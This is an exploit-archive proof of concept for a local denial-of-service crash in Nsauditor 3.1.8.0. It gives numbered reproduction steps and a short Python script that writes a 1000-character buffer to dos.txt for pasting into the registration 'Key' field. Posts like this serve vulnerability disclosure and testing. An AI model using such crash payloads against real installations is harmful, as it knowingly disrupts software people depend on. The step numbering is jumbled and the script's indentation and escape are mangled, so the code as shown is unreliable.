NSAuditor version 3.1.8.0 suffers from a Key denial of service vulnerability.

MD5 | 35fb3894705a2007f79a99dca4f3eb6f

# Exploit Title: Nsauditor 3.1.8.0 - 'Key' Denial of Service (PoC)
# Discovery by: SajjadBnd
# Date: 2019-11-30
# Vendor Homepage: http://www.nsauditor.com
# Software Link: http://www.nsauditor.com/downloads/nsauditor_setup.exe
# Tested Version: 3.1.8.0
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 - Pro
# Email : blackwolf@post.com

# About App
# Nsauditor Network Security Auditor is a powerful network security tool designed to scan networks
# and hosts for vulnerabilities, and to provide security alerts.Nsauditor network auditor checks enterprise
# network for all potential methods that a hacker might use to attack it and create a report of potential
# problems that were found , Nsauditor network auditing software significantly reduces the total cost of
# network management in enterprise environments by enabling IT personnel and systems administrators gather
# a wide range of information from all the computers in the network without installing server-side applications
# on these computers and create a report of potential problems that were found.

# POC
# 1.Run the python script, it will create a new file "dos.txt"
# 3.Run Nsauditor and click on "Register -> Enter Registration Code"
# 2.Paste the content of dos.txt into the Field: 'Key'
# 6.click 'ok'
# 5.Crashed ;)

#!/usr/bin/env python

buffer = "x41" * 1000
try:
f=open("dos.txt","w")
print "[+] Creating %s bytes DOS payload.." %len(buffer)
f.write(buffer)
f.close()
print "[+] File created!"
except:
print "File cannot be created"

Source